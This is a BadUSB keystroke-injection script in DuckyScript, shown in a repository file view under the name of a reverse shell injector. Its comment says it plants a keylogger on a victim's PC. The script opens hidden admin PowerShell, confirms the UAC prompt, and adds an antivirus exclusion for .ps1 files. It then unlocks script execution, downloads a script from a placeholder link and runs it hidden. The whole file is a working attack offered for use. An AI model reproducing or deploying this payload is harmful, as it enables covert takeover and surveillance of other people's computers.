-
Notifications
You must be signed in to change notification settings - Fork 8
Expand file tree
/
Copy pathBadUSB_reverseShellInjector.txt
More file actions
50 lines (50 loc) · 955 Bytes
/
BadUSB_reverseShellInjector.txt
File metadata and controls
50 lines (50 loc) · 955 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
REM This script allows you to inject a software keylogger in victim's PC
LOCALE FR
DELAY 2500
REM Minimize all app
GUI d
DELAY 500
REM Start powershell as admin
GUI r
DELAY 500
STRING powershell.exe -windowstyle hidden
DELAY 200
CTRL SHIFT ENTER
DELAY 5000
LEFT
DELAY 150
ENTER
DELAY 5000
REM Go to public documents directory
STRING cd C:\Users\Public\Documents
ENTER
REM Add an exception for .ps1 files in antivirus
STRING Add-MpPreference -ExclusionExtension ps1 -Force
ENTER
REM Disable script blocker
STRING Set-ExecutionPolicy unrestricted -Force
ENTER
REM Download ps1 script
STRING wget LINK -OutFile script.ps1
ENTER
DELAY 3500
REM Start ps1 script
STRING powershell.exe -noexit -windowstyle hidden -file script.ps1
ENTER
REM Make capslock flash to know when you can unplug the BadUSB
CAPSLOCK
DELAY 150
CAPSLOCK
DELAY 150
CAPSLOCK
DELAY 150
CAPSLOCK
DELAY 2000
CAPSLOCK
DELAY 150
CAPSLOCK
DELAY 150
CAPSLOCK
DELAY 150
CAPSLOCK
REM End of payload